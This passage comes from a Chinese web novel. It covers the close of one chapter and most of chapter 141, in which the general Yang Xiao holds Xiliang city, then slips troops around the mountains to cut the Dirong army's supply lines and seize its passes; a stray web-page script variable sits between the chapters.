杨笑大踏步向前,随手将那杆斜插于地的长枪抄在手里轻轻一挥,浑身的气机砰然炸开。这一刻,杨笑丝毫不再保留,在他的四周,无形的气机搅动空气,似一股狂风盘旋而起。 这股强烈气机形成的威压让周围的敌人不住的后退,每个人的肩上都似乎压着千钧的重担一般。在他们的眼里,此时的杨笑无疑是这世间最可怕的存在。 “犯我西梁者,格杀勿论!” 长枪挥动,杨笑一步踏出。 只一个闪身便来到一名狄戎族人的面前。 那狄戎族人看着那张几乎抵在自己鼻尘上的脸庞和那满是凶煞之气的眼神,着实是被吓了一跳,等他反应过来想要躲开时,却发现自己的双脚无论如何都挪动不了半步,往下看时,却见自己的胸口上不知道什么时候已经被刺了个大窟窿。 杨笑用枪轻轻的将那人挑开。“扑通”一声,尸体直挺挺的倒在地上,那名狄戎族人的脸上到死都带着难以置信的表情。 这一幕发生的太快了,直到看见同伴的尸体倒在地上,周围的人这才反应过来,纷纷怪叫一声四散而逃。谁知道才刚跑出去几步一个沾满鲜血的枪尖就出现在眼前,那枪尖上的血还在一滴滴的往下淌。 枪尖褪去,缓缓歪倒时,那名狄戎族人扭头看向身后,那里哪还有站着的人,就连刚才那个持枪的黑甲青年也早已不知去向。 杨笑一路从城墙的这头杀到那头,又从那头杀到这头,在他的横冲直撞下,西梁军很快便再次把敌人赶下了城墙。 而在城头下,敌人不知什么时候就已经撞开了城门,大批大批的敌人蜂拥而入。此时,杨笑带来的援兵也赶到了,他们或是在街巷里与敌人展开激战,或是冲上城头补充城防上的空缺。 杨笑见状大吼一声跃下城头,挡在了城门前。 敌人如同潮水般不断涌来,杨笑一人独挡万人,直杀的敌人血肉横飞。尸积如山倒是没有,不过城门前的护城河却是快要被填满了。 狄戎族的军阵中令旗翻飞,号角嗡鸣,如潮水般涌来的敌人又如潮水般退去。 不过这并不意味着敌人就此退去。 很快的,令旗和号角再次变动,一阵阵箭雨夹杂着数不清的石头就落了下来。 面对这些箭雨和乱石杨笑丝毫不惧。箭矢射来挥枪扫去,飞石落下一脚踢开。乱箭落石中杨笑半步不退,直到身后的城门重新关好后才丢下一句:“将城门彻底堵死!”这才飞身而去。 杨笑破开箭雨一跃十数丈,几个跳跃间已来到敌人的阵前。 一队骑兵立刻冲出军阵直奔杨笑杀来。 杨笑深吸一口气,然后双足发力,“砰!”的一声在地上踩出一个坑来。尘土飞扬中杨笑如同一个人形炮弹般砸向迎面而来的骑兵。 “嘭!嘭!嘭!” 接连几声,几匹战马被撞翻在地,而后他双足一点,落在了另一匹战马的脊背上。与此同时,手里的长枪早已一个回转,从背后洞穿了那名骑卒的胸膛。 紧接着杨笑再次双足发力,脚下那匹精壮的战马在他这一踏之下立即被生生的踩断了脊梁,在一声痛苦的哀鸣中轰然倒地。 杨笑抵住一名骑卒又接连撞飞了数名全副武装的骑卒后这才落在地上,双脚刚一着地手中长枪立刻一个横扫,扫断了两匹战马的前腿。失了前蹄的战马一下子连人带马栽倒在地,而此时的杨笑已经再次跃起又如法炮制一番。 再次一跃后,杨笑已经来到了这支骑兵队伍的最后面。最后的这匹战马并没有被他踩断脊梁,而是被他一勒马缰,转而骑上这匹战马向敌人的军阵发起了冲锋。 一个人的冲锋! 狄戎族军阵的中心处。硕大华美的旗帜下,一名金盔金甲,胡子拉碴的的中年男子冷声道:“自不量力,耗死他。” 这一回挡在杨笑面前的是一队刀斧手。这些人一手持刀,一手圆盾,一个个全都是膀大腰圆的精壮汉子。 杨笑策马狂奔,一阵冲撞踩踏,直到胯下战马重伤倒地,这才跃下马背跳到这群刀斧手的中间。才一落地,手中长枪挥舞间就把围在身边的敌人放倒了一片,然后大步一跨,长枪递出,将一面盾牌连同盾牌后面的刀斧手一块儿给捅了个透心凉。杨笑推着这名刀斧手接连撞翻了一二十个人,这才一脚踹在那面盾牌上。能挡得住刀枪弓箭的盾牌却挡不住杨笑的这一脚。盾牌被杨笑一脚踹的粉碎,连同后面的刀斧手也被杨笑踹碎了胸口。 被一脚踹飞的刀斧手在撞倒了几个同伴后终于被人接了下来,而杨笑也顺着这条被撞出来的通道冲出了这些刀斧手组成的方阵。 刚一从人堆里冲出来就听到一声:“放箭!” 当然了,这声“放箭”是用狄戎族的语言说出来的。 一声声破空声之后,杨笑没射到,噼里啪啦的乱箭倒是把先前的那些刀斧手给射死了不少。 对于这些家伙们不管不顾的一通乱射,饶是杨笑也不免要在心里替他们说一声“够狠”了。 一阵乱箭过后,不等杨笑有所喘息,两支骑兵就已经冲到了杨笑的跟前。 杨笑在这两支相向而来的骑兵中间或冲撞或躲闪,又一番冲杀过后,手里的长枪也终于承受不住这般剧烈的撕杀断成了两截。不过好在杨笑又从这些骑兵的手里重新夺了一根过来。 等两支骑兵交错而过后,杨笑这才看清,原来自己这是冲到了两层军阵中间的空隙里,而先前向自己乱射一通的弓箭手们也已经退到了一排排手持弯刀的军卒后面,被很好的保护了起来。 面前是敌人的第二层军阵,而这层军阵的后面就是负责指挥他们的“中枢”所在。 杨笑直起身子往军阵的后方看去,那里一名金盔金甲的将领也正在看着自己。 根据军报上的消息,此人应该就是敌人此次统兵的首领,名叫阿霍都,是狄戎族大首领的长子,狄戎族三王之一的金帐王。 杨笑看着阿霍都,阿霍都也远远的看着杨笑。他自然也猜到了眼前的这个家伙是谁。 “这就是我那个不成气的弟弟,成天挂在嘴上的家伙吧?” 阿霍都身边的一名将领低头道:“王,这个家伙邪门的很,恐怕只有那些异人才能对付得了他。王,为了您的安全,还请我王暂且回避才是。” 阿霍都并不是一个为了一点所谓的面子就会把自己置身于危险中的人。听到部下的话后,他“嗯”了一声就调转马头离开了。 阿霍都一离开,立刻就有一层层军卒填补上来,又组成两道军阵堵在杨笑和他们的“王”中间。其间,人员调动之顺畅,衔接之紧密,军容之整肃,一看就知道其军队的训练已经娴熟到了一个相当的程度。这一切绝非一年半载之功,看来狄戎族为了攻打西梁不知道已经准备了多少年了。 再看朝庭这边,朝堂之腐朽,军备之松懈,要不是有西梁境在前面扛着,只怕早就被人家打到圣京城了。 修行之人一股气机调动起来,运行于周身百脉,一个周天之后气机就会逐渐的衰减,几个周天之后气机就要耗竭,而这股气机能够持续多久全看修行者的道行深浅和功法高低。修为高,道行深,功法亦高深精妙者,气机自然绵长不败。反之,修为浅薄,功法也粗陋者,气机自然难以为继,很快就会衰竭下来。这个时候,就需要重新调动一股气机来继续维持状态,这个吐故纳新的过程称作“换气”。 换气对于修行者来说极为重要,如果在战斗中不能及时换气,一旦气机耗尽,轻则重伤跌境,重则动摇根基甚至当场丧命。换气的过程也是长短不一,短的瞬息之间就可完成,长的就需要耗费一定的时间了,但一般来说都不会太久,也就是几个呼吸的时间。当然了,这跟道行和功法也有关系。虽然换气的时间很短暂,但对于修行之人来说这段时间已经足够他们做很多事了。所以在修行者的战斗中经常有人利用对手换气的档口制敌获胜,或是逼迫对手不能换气从而使其气机耗尽而亡。 杨笑一口气冲破三道防守,气机已然是强弩之末,本打算趁机换气之后再向前冲一冲,这样一来就能冲到阿霍都的跟前。只要能冲到阿霍都的跟前,杨笑有信心在下次换气之前摘下他的项上人头。到时候自己一心离开,想必没人能拦得住。 现在阿霍都不给自己机会,杨笑也不去强求,虽然自己换气的时间很短暂,但乱军之中难保万全,万一气机耗竭被困在阵中的话可就不好了。 杨笑于是把手里的长枪朝前抛出,长枪飞过军阵众人的头顶后插在阿霍都原先站立的地方。 杨笑高声道:“下次见面定取你狗命!” 说完便几个纵身回到了西梁城内。 面对来势汹汹的狄戎族大军杨笑该如何破局?贡州城和东仓县的处境又怎么样了了?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十一回 御驾亲征 当杨笑返回城头时,周同格的遗体已经被放在了单架上。 老将军走的很安详,他躺在单架上就好像刚刚睡着了一般,只是脸色有些煞白。杨笑轻轻的把麻布单盖回去,目送老将军离去。 西梁王妃见到杨笑平安归来,手里的匕首“哐当”一声掉在了地上。兴许是先前太过于紧张了,现在强撑在身上的那股气一下子散开,身体就有些摇摇晃晃的站不住了。眼看着王妃就要跌倒,杨笑赶忙上前扶住。 “母后,您怎么样了?” 王妃轻轻摆手,示意自己没事。 在杨笑的搀扶下,西梁王妃慢慢地站了起来,他轻抚着有些眩晕的额头说道:“哀家没事。你且去忙你的,不用管哀家。” 杨笑扶着王妃走下台阶,这时几名婢女赶过来扶住了王妃。杨笑抱拳躬身,恭送王妃。 城里的战斗早已结束。那些冲入城里的狄戎族士兵大多被当场斩杀,还有一部分人被西梁军俘虏。城里几处着火的地方,也正有西梁城的军民们合力扑救。 杨笑处理完城头上的事务,刚走下城头,就有一队士卒押着俘虏来向杨笑请示。 “将军,抓获的俘虏全部带到,要怎么处置他们,还请将军示下。” 杨笑看了一眼那些狄戎族人。约么有两三百人的样子? “让他们去修城墙,修房子,修工事。把那些脏活累活多给他们一些。” “遵命!”那名为首的小校恭敬答应一声,然后转身命令道:“带走!” 因为封长青重伤,狄戎族大军来得太快,西梁城一时间群龙无首,没有做好充足的准备,这才导致险些城破人亡的危险局面发生。杨笑回到王府后,立刻用虎符签发了一道道军令,把西梁城的所有资源和力量全部调动起来,他要做好万全的准备,以便在关内的援军到来后,能够立刻发起反攻。 …………。 狄戎族的大营里。 金帐王阿霍都气愤的进入营帐,他一脚就踢翻了帐篷里的一个木架,木架上摆放着的兵器也掉了一地。阿霍都一撩衣袍坐在案几后,提起案几上的一个杯酒杯,一口气就把里面的酒水喝了个干净,然后把酒杯重重的往案几上一拍,坐在那里喘着粗气。 婢女们连忙过来伺候他们的王。 阿霍都接过婢女递过来的毛巾想擦一下脸,结果发现毛巾有一点烫,他气得一把将毛巾甩在那婢女的头上,又一把掀翻了另一名婢女手里的铜盆。那铜盆在地上叮铃咣啷的翻了几个个儿,最后扣在了烧水的炭火上。盆里残留的水滴在炭火上发出呲呲的声响,几个婢女被吓得跪在地上,大气都不敢喘一下。 这时一个高瘦的中年男子走了进来。那男子浓眉枯额,鼻梁高挺,眼窝深陷,高高的颧骨下是皱巴巴的消瘦脸颊,整张面孔上,高凸的地方衬托着低凹的地方,低凹的地方,又反过来凸显高凸的地方,把好好的一张脸长成了个活像干尸的样子。此人名叫班布善,是金帐王阿霍都手下第一谋士,也是他的军师。 班布善进来后看了一眼地上的铜盆,轻轻摆手示意几名婢女退下去。几名婢女也如同遇到了救星一般,连忙退出了帐外。 阿霍都大声的发泄着自己的愤怒:“你的那些异人呢?平时一个个鼻孔朝天,目中无人。牛皮倒是吹的震天响,怎么到了关键的时刻,一个也见不着?” 班布善捡起地上的铜盆,他不紧不慢的说道:“大王就为这个生气?” “不然呢?”阿霍都显然正在气头上:“我每天好吃好喝,美酒美女的供着他们,可又怎么样呢?今天我差点就死在那小子的手里了。”阿霍都手舞足蹈的说着。 “异人们自然是有更重要的事情去做。”班布善闲庭信步般走到一边,把铜盆轻轻的放下:“况且,那小子今天的表现已经是他的极限了,这一点大王尽可把心放宽。” “什么?更重要的事?”阿霍都不满道:“现在还有什么事能比拿下西梁城更重要?” 班布善坐到案几旁边,从始至终他的动作都是不紧不慢的。阿霍都耐着性子把一杯酒推到班布善的面前。班布善轻轻点头算是道谢一声,端起酒杯喝了一口,这才接着说道:“大王不要忘了,同在这片天底下生存,我们能请来异人相助,周王朝未必就请不来。” 阿霍都听到班布善的话后,立刻冷静了许多。他眉头一皱,问道:“军师的意思是……他们也请来了异人?” 班布善把酒杯放在案几上,发出“咄”的一声轻响:“没错。那些异人们突然消失,就是去拦截周王朝请来的异人了。而且……。” 班布善说到这里,话音一顿。 阿霍都立刻追问道:“而且什么?” 班布善往后正了正身子:“而且他们的异人并不比我们的少。” “哦?”阿霍都眉头一挑:“那我们接下来该怎么办?” “大王打算怎么办?”班布善问。 阿霍都把手一扬:“我不管怎么办,总之不能就这样空着手回去。” “那大王可愿听我一言?” “军师有办法?” 班布善把身子向前一倾,阿霍都也连忙凑了过来。 “大王,咱们下一步这样……这样……。” 西梁城内。 杨笑看望了封长青。虽说经过太医的精心救治保住了性命,但封长青依然昏迷不醒。 从封府出来,几个官吏已经等候杨笑多时了,他们每个人的手里都或多或少的拿着一些已经拟好的章程、计划和军令。 杨笑一一的为他们签署用印,待那些官吏们都离开后,杨笑又转向王宫的方向而去。 昔日的西梁王妃,现在的皇后,此时正倚在床榻上休息。白天的一场大战着实把他吓的不轻。就算是有再毅然决然的勇气,可他毕竟是一个久居深宫的柔弱女人,又哪里经历过那般人间地狱,生死一线的场景?事过之后,那种劫后余生的感觉,让他觉得像是一下子用光了这一辈子所有的力气,现在的皇后躺在床榻上真是一根手指头都不愿意动一下了。 杨笑在门外跪拜问候道:“孩儿救驾来迟,让母后受惊了。母后,您还好吧?” 皇后轻启凤眸:“哀家没事,只是有些累了。” 虽说隔着一道门,皇后的声音听起来也有些小,但杨笑依旧听得真切。知道皇后并无大碍,便又说道:“母后放心休养,京西五洲的二十万援兵不日就可到达,届时西梁城便可固若金汤。” 皇后回了声:“知道了。有笑儿在,母后甚是安心。” 杨笑于是回道:“母后好生休息,孩儿告退。” 杨笑从王宫出来后,又到城内各处巡视了一遍。见各处都在连夜赶工修复加固城墙,设立工事,这才安心回到家中。 接连的奔波大战,让杨笑体内本就不多的元气几乎见底。如果这时候再来一个修行之人闯到杨笑跟前的话,那么杨笑指定是要吃大亏的。于是,回到家后,杨笑立刻拿出梁赞当初送给他的灵茶。冲泡了一大壶,将灵茶一饮而尽后便进入了打坐吐纳的状态,争取早点把体内枯竭的元气补充回来。 天亮时,杨笑结束吐纳缓缓睁开双眼。他轻吐了一口气,感受着丹田内才恢复了小半的元气说道:“休息了一夜,才恢复这么点元气,真是够费劲的。”说着,杨笑伸了个懒腰:“哎呀!不过话说回来,这灵茶还真是挺不错的,回头再向梁赞要点。” 接下来几天狄戎族又有两次攻城的行动,不过力度都不大,不出意外的都被西梁军打退了。然后京西五洲的援军也到了。有了这二十万援军的有力支援,西梁城的危机算是暂时有了缓解,狄戎族也因此后退了二十多里。 西梁王府的一座偏殿内。一群大大小小的将领围在一起讨论着眼前的形势,想要从中找出退敌之策来。 “要我说,咱们现在兵力充足,不如趁着夜色给他们来个突然袭击,直捣黄龙。只要破了他的中军营帐,斩杀敌首,其它的就全都不在话下了。”一名将领说出了自己的想法。 有人轻轻点头附和,但更多的是反对的声音:“按照你的办法,最要紧的就是出其不意,打他们个措手不及。但现在敌众我寡,如果想打到人家的中军营帐,那么兵力上的需求必然不在少数,这么多的兵力调动,想要不被敌人发现,实在是有点儿难。更何况,鞑靼们已经对我们加强了戒备,还为此后撤了二十多里,所以你说的这个办法有些难以实现。最多是用小股兵力骚扰他们一下。”这位将军的话得到了在场多数人的赞同。 又有一人说道:“如果我们兵分两路,绕到他们的背后呢?到时候咱们来个两面夹击,不知道行不行。” 这人刚说完,他旁边一名比他足足高出一头还多的壮汉一把搂住他的脖子:“刚说了敌众我寡,你是没听见吗?” 另一边一人也说道:“对。敌人数倍于我,这么做不但讨不到便宜,搞不好还会被人家将一部分人马围而歼之。那时候可就不好了。” 这时又有人说道:“既然说来说去,都是因为咱们的兵力还不够多。那不如先固守城池,只要再等半个多月,关内的其他援军就会陆续到来,那时候咱们就不会因为兵力太少而处处为难了。” 他的这个想法也有人反对:“你有援兵,难道敌人的后方就空无一人吗?不要忘了,青铜峡那边可是随时都有被突破的危险。还有南面的藩族也没闲着,一直想要和狄戎族合兵一处。真到了那时候,咱们有多少人马够人家吃的?” “偷袭不行,绕后不行,固守也不行。难不成我们就这样坐以待毙吗?”有人开始有点压不住火了。 “就是。不能就这么干坐着等死,大不了出城跟他们拼了!”这个时候,有一个人发牢骚就会引来一群人的共鸣。 “没错,大不了就是个死!” “对!横竖都是个死,老子宁愿死在冲锋的路上。” “我同意。早死晚死都是死,不能就这么窝窝囊囊的等死。” 理性冷静的声音也不在少数。 “你们这是成匹夫之勇!” “越是这时候,我们越是不能鲁莽行事。” “不要忘了你们的身份和职责!” 当然,作壁上观,一言不发的也有人在。 “这也不行,那也不行,那你们说怎么办?” “怎么办也不能像你们那样蛮干。” 就在众人争吵的不可开交时,有人发现一直背对着众人抬头看地图的杨笑把身子转了过来,面无表情的看着众人。于是,争吵的人群一个个的全都安静了下来。 就在众人准备好迎接杨笑的怒火时,哪知道杨笑又转了回去,在地图上比比划划了起来。然后他又转过身指着一个人说道:“你说的不错,咱们可以绕。” 那将领一听杨笑采纳了自己的意见,脸上不由得泛起了高兴的神采。他也没想到,自己无心的一句话,竟然会被将军采纳。 众人听到杨笑的话后,一个个面面相觑。显然,在大家能想到的办法里,这并不是最好的一个办法,不知道杨笑为什么会下这样的决定。虽然他们各自的心里都有着各自的想法,但此刻,他们更想知道的是杨笑的想法。 望着大家投来的目光,杨笑接着说道:“我说的绕,并不是你说的那个绕。你说的那个只能算小绕,而我说的是大绕。” 小绕?大绕? 众人被绕的更加糊涂了。 杨笑把手在地图上一指,说道:“不要忘了,我们还有羊趾道。” 于是,杨笑把自己的想法向众人一一道来。 待杨笑说完后,立刻有人指出了其中的关键:“可那条路难走的很,别说通车了,就是骡马都有些勉强。要不然鞑靼们也不会放着这条近路不走,走远路的。” 杨笑回道:“难不代表不能。况且我们需要的兵力也不多,只要把物资分散携带,每个人、每匹马都带一点,这样一来问题就不大了。” 还有人想要再说些什么,但这时一名侍卫进入大殿内,将一份军报递到了杨笑的手里。 杨笑打开军报,看过里面的内容后又把它交给众人传阅了一遍。众人看过军报上的内容后,无不面色一变。 原来是狄戎族人已经分出一部分人马往岫阳府而去。现今,狄戎族人跟潘族人的中间就隔着一个岫阳府,一旦岫阳府被拿下,二者便可合兵一处,到时候横扫关西平原将不再是难事。那时,两面夹击之下大散关不攻自破,西梁城深陷重围,孤立无援,整个西梁境就全完了。 杨笑把军报往桌上一丢:“好了,不要再说了。敌人的动作比我们要快,立刻按计划行事。” 众将闻言,立时抱拳道:“遵命!” …………。 砾谷关外。 台阶山内还是金秋时节,而台阶山外却早已草木枯黄。蔚蓝的天空和苍黄的大地形成了鲜明的对比。在这片无边的蔚蓝和苍黄中,一支队伍正缓缓的前行着。他们赶着一辆辆牛车和一群群牛羊,目的地是天际边的群山峻岭。 这些人从千里之外而来,一路上风餐露宿,走到这里早已人畜皆乏。 队伍里最年轻的是一个约么四五十岁的中年汉子。汉子手搭凉棚看了看天边的太阳,那太阳低低的挂在天边,就像烧红的铁块一样通红耀眼,但明明红的耀眼的太阳照在身上却并不能让人感到温暖,相反的,随着红日西下,气温却越发的冷了起来。 走了一整天的路,早已人困马乏,又冷又饿。那汉子喊了一声:“长老,就在这儿歇一歇吧,反正明天也到不了。” 一个正在牛车上打盹的老者闻言看了一眼天边,又扭头看了看地平线上的夕阳,点头道:“也好。” 老者说着朝四周看了看,然后指着前面的一处地方说道:“就在那里歇一晚吧,多少还能避一点风。” 很快,一行人就在一道土梁下停了下来。土梁并不大,只有一房高,二十来丈长,看样子行雨季节的时候土梁下边应该还会形成一个浅浅的小池塘。这里背风向阳,是一个过夜的好地方。 “都手脚麻利点,赶在天黑前把牛羊圈好,把火生起来。” 老者下车后拍了拍屁股上的土,一边说着一边向身后的小土梁上走去。其余的人则忙着把牛羊赶在一处,把牛车圈成一圈挡在外面,然后就是生火造饭。 等众人忙活完,饭也热好之后,那老者才从土坡上一步一步的慢慢走下来。 刚在火堆旁坐下,身旁的汉子就把热好的稀饭和一包肉松递了过来。老者接过来后一边吃一边慢条斯理的说道:“这周围我都看过了,没什么不妥当的,明天再赶一天路,后天中午前后应该就能到了。” 有人附和道:“长老看过的那肯定稳妥了。” 那老者喝了口稀饭后又说道:“等把这些牛羊还有粮食都送到了,咱们部落要缴纳的那一份也就缴清了,到时候大家都回去也算是能安心过个年了。” 这时有人说道:“哪能安心呐!孩子们也不知道怎么样了。” 一句话让众人全都陷入了沉默。 老者抬眼看了下身边的族人。他们这些人里最年轻的也快五十了,部落里的年轻人全都被拉去打仗了,就只剩下他们这些老头子还要一趟一趟的把家里的粮食和牛羊送到打仗的地方。这个年又怎么能过得好呢? “不是说有神人相助吗?孩子们应该会没事的吧?”过了一会儿,有人打破了这份沉默。 “可我怎么听说青铜峡的战事进展的并不顺利?”有人说道。 “不会吧?不是说在神人的帮助下,西梁军被打得丢盔弃甲吗?” “我也听说了,好像是被一个叫大散关的地方给挡住了。还死了好些人呢。” “你听谁说的?” “就是上次那个……。” 众人七嘴八舌的议论着最近听到的战事。 “都别说了,快睡吧,明天还要接着赶路呢。”老者吃完饭后,打断了众人的议论声。然后找了个合适的地方,躺下后又叮嘱道:“在这里说一说就行了啊,到了别处,一句话也不许多说。” 众人都答应着。然后便收拾了一下,躺下休息了。 很快便响起了鼾声。 虽说身子骨还算硬朗。但毕竟是年过七十的人了,这一路走来,也是又累又困。见众人都睡着后,老者也终于抵挡不住困意,嘟囔了一句:“天知道这该死的战争什么时候能结束”后便也进入了梦乡。 ……上了年纪的人睡眠就比较浅。睡到半夜里,老者忽然听到身边的牛羊有动静。他猛地睁开眼睛,仔细的听了听周围的声音,在呼呼的寒风中似乎是有什么东西正在黑暗中靠近这边。他赶紧招呼起族人:“起来起来,快起来,都别睡了,有东西。” 被惊醒的众人立刻警惕了起来。 “是狼吗?”有人问道。 “不知道,听动静不像。”有人回答。 “不会是西梁军吧?”不知道是谁说了一句。 “怎么可能?西将军怎么会到这里来?”有人反驳道。 等他们引燃火把的时候才看清楚,周围已经被密密麻麻的西梁骑兵给包围了。 很快,一众狄戎族人便被五花大绑的丢在了一边。 看着一群烤食自己牛羊的西梁军,有一个狄戎族人问道:“你们怎么会到这里来的?你们不是应该被困在山的那一边才对吗?” 一个领头的校尉走过来,把手里吃剩的羊骨头随意的丢在那人跟前。然后他轻蔑的说道:“那是你们以为的。算了,反正你们这些人也活不到明天了,我也不怕告诉你们,我西梁已有十几万大军悄悄地绕过了台阶山,要不了几天,你们这些杂碎们就会知道什么叫做死无葬身之地了。” 说完还往那人的脸上啐了一口痰,然后就笑着转身又吃肉去了。 被捆在地上的汉子们都从彼此的眼神中意识到了事情的严重性。而那些西梁骑兵们在吃饱喝足后,就围在火堆旁呼呼的睡大觉去了。 天将黎明时。骑兵们还在沉沉的睡着,就连负责值夜的人也蹲在那里,抱着脑袋打起了盹。这时一个狄戎族人用牙齿帮同伴解开了绳索,被解开双手的汉子立刻帮同伴也解脱出来。很快的,所有的狄戎族人都摆脱了束缚,只是还没等他们悄悄的跑出几步,就被发现了。 “鞑靼们跑了,鞑靼们跑了!”值夜的骑卒大叫起来。 “快!分头跑。”年长的老者向族人们大喊道:“不要管我,快跑!” 只可惜,两条腿的人怎么可能跑得过四条腿的马?没过一会儿,一众狄戎族人就被骑兵们追上,被杀了个干净。只有一个人因为逃跑的时候偷了一匹马,这才侥幸逃出生天。 骑兵们追了一段路后便放任那人离去了。 看着那名狄族人越跑越远的背影,一个骑卒向身边的同伴问道:“就这么放他走了?” 身边的同伴回答:“不然嘞?我们不就是要放他走的吗?” 那骑卒望了同伴一眼,然后一脸明白了的表情,点头道:“对,没毛病。” “走吧,回去复命啦!”两个人勒转马将向来路而去。 砾谷关内。狄族大军的新首领刚到任没几天,就碰上了缺衣断粮的情况。这件事发生的毫无征兆,突然之间,大军的粮草后勤就断绝了。前几天还发生了军营起火的事情,把所剩不多的粮草也给烧了大半。几十万的大军没了后勤补给,这可是一件顶重要的大事。这位新首领已经连发几道信函催促粮草了,但全都石沉大海,毫无音信。今天要是再没有粮草送来,将士们可就全都要饿肚子了。 这会儿,新首领又在写催促粮草的信函。正写到一半,有侍卫进来禀告道:“头领,有一批负责押送粮草的人来了。” 新首领闻言大喜,他放下手里的笔,问道:“来了多少人?送来多少牛羊和粮食?” 那知道那侍卫犹豫一下后说道:“来……来了五十多号人。粮食没有,只有他们自己骑的三十多匹马。” “什么?”新首领难以置信道。 他说着就起身向屋外快步走去,他要去看看这到底是怎么回事。 院子里几十个衣衫破烂,狼狈不堪的人正站在那里,有几个人甚至还挂了彩。还不等他问清楚到底是怎么回事,就又有一个浑身是血的人被带了过来。 那新首领于是转而问道。:“你又是怎么回事?” 那人便把自己遇到的事情一字不落的向新首领说了一遍。末了,还不忘把西梁军的人数多加了几万。 那首领听后面色微变,又转头看向先来的那几十号人。:“你们呢?” “虽说有所区别,但大致上也是这样。”有人向他回答道。 那首领闻言,彻底压不住火气了,他大怒道:“那边负责盯梢的人是干什么吃的?敌人过来这么多人马,他们竟然毫不知情。每天传来的消息都是谁发送的?” “你们几个各带一支人马,速去探查。” 跟在首领身后的几人应声离去。 在几名手下离开后,那首领一回头又看到了院子里的一众人。一看到这些人,就让他不由得想起了这些天来发生的一系列事情。于是他没好气道:“你们还站在这里干什么?还不下去处理一下伤口,然后去仓库把剩下的粮草领出来一半,送到蘑菇岭。” 一群人连忙领命离开,生怕走的慢了,再被首领往自己头上发一通无名之火。 出了院子,只有那后来的汉子要去处理一下伤口,其他几个身上带血的人都说伤的不重,自己处理一下就好了。等那汉子离开后,这些人便往另一个方向离开了。 西梁军出现在台阶山外并截断粮草的事情,很快就在砾谷关的军营里传开了。一开始,军营里的狄戎族人还没有多大的反应,但傍晚时外出探查的人马带回来的两个消息,让军营里一下子炸开了锅。 羊趾道外负责监视的人马全军覆没了。这几天从那边传来的消息全都是假的,全都是西梁军冒充的。 西梁军劫掠粮道的事情都是真的。 尽管高层严令封口,但这件事情在军营里还是一传十十传百的传开了,而且越穿越邪乎。为了平息传言,稳定军心,保证粮草的供应,新首领专门抽调了十余万兵力,沿途保护运粮的队伍。这些兵力占到了青铜峡内狄戎族总兵力的三分之一。可就算是这样,也没能阻止军营里的风言风语。 而此时的蘑菇岭外。一支百余人的队伍押运着七八十辆牛车来到了关口。车上装的全都是军营里急需的粮食,还带来了许多的牛羊。除此之外,他们还带来了西梁军截断粮道的消息。 砾谷关里发生的事情在蘑菇岭再次上演,并且演变的更加迅猛,只用了半天的功夫,就传遍了军营的角角落落,弄得整个军营里全都人心惶惶。 入夜后,两个值夜的军卒还在角落里小声的说着白天军营里传开的事情。而此时的大散关,十多万大军早已倾巢出动。 山下是万物萧瑟的深秋。而山上的夜风就要更加冷冽上几分。夜深之后,地面上已经结上了一层厚厚的寒霜,寒风中守关的军卒们也全都安静了下来,只剩下呼呼作响的风声,让整个天地都显得更加的静谧了。只是在这份静谧之下,却隐藏着一份肃杀之气。 午夜过后,铺天盖地的喊杀声突然间响遍了整片山野。西两军发起了反攻。 从睡梦中被惊醒的守关将领大喊道:“来人,发生了什么事?” 一名侍卫推门进来,伏地禀告道:“禀将军,是西梁军突然打过来了。” “啊?他们难不成是吃错了药吗?”在这位负责看守蘑菇岭的将领看来,西梁军此举无疑是自寻死路。他接着吩咐道:“拿我的兵器来。” 那将领说着便越过跪在地上的侍卫身边向外走去。 “扑哧”一声。兵器确实是给他了,只不过是穿过他的胸膛递给他的。 把将领猛地身躯一震。缓缓的转身,借着屋里昏暗的烛光,这才看清了对方的脸。这哪里是自己的侍卫,分明是一张陌生的面孔。只见那人抬手在脸颊处轻轻一揭,那将领立刻双目圆睁,这张脸他太熟悉了,他的画像早已传遍了每一个部落。 “杨笑……。”那将领最后从喉咙里挤出来两个字后便倒地身亡了。 原来,自那日在西梁城内与众将士商定好计策后,杨笑便率领五千轻骑,趁着夜色悄悄的出了西梁城,然后从羊趾道出了台阶山。 五千骑兵,再加上原本驻守羊趾道的守军,一共一万余人。这一万多人马趁着夜色,将羊趾道外的狄戎族人来了个一锅端。然后利用他们留下的信鸽,按时向砾谷关的守军报送一切正常的假消息。同时派出人马沿途截杀敌人的运粮队伍。 由于狄族人一路势如破竹,打的西梁军毫无招架之力,他们于是就认为台阶山外,一切尽在掌握,没有一个西梁兵可以过来。于是,负责运送牛羊粮草的队伍也就没什么人来保护了。这些毫无保护的队伍很轻易的就被西梁军给拿下了。有了粮草、牛羊和马匹,步军也能骑上马出去截粮,再加上源源不断的有人马通过羊趾道补充上来,没几天,通往青铜峡的粮道便被西梁军给截断了。 大军出征,自身所带粮草根本维持不了几天,全靠后方的补给,士兵们才能吃饱肚子。没了粮草,军心就会不稳。这时候,杨笑带着几十个军中好手,经过乔装打扮后便登场了。于是,也就有了接下来发生的事情。 杀掉敌人的将领后,杨笑起身来到屋外。早有几十个人影等在院子里。其中一人见杨校出来,便上前道:“将军这个院子里的人已经全部解决干净了。” 杨笑点点头,然后挥手带领众人向院外走去。 失去了统一指挥的狄戎族人,面对西梁军的突然进攻,显得非常吃力,场面一度混乱不堪。就在这时,杨笑带着五十多名死士冲到了关门下。看守大门的狄戎族人还没弄清是怎么回事,就全都被砍翻在地。 蘑菇岭上的关墙依山而建,本来就是用来防御族人的,面对从北方过来的敌人,自然是易守难攻,而面对从南边过来的西梁军,却变成了易攻难守。此时关门大开,让本就不富裕的家庭更是雪上加霜。 在杨笑的率领下,西梁军一口气打过了砾谷关,在草原上追击敌军三百里,大胜而归。 圣京城内,奉天殿上。皇帝武昭龙袍冠冕,端坐在龙椅中,听着百官禀奏各处战况以及各项筹备进展。 “启奏陛下,东安王与北静王的第一批兵马已到达二山关下。大皇子,还有李伯通、马致远等人率领的兵马已先后进入西梁境内。南越王也已平定了西南叛乱诸族,不日便可对藩族境内发动进攻。还有各路大小诸侯,各处州府所调集的兵马多半也已集结于圣京城外。其余兵马也可在一旬之内陆续抵达。” 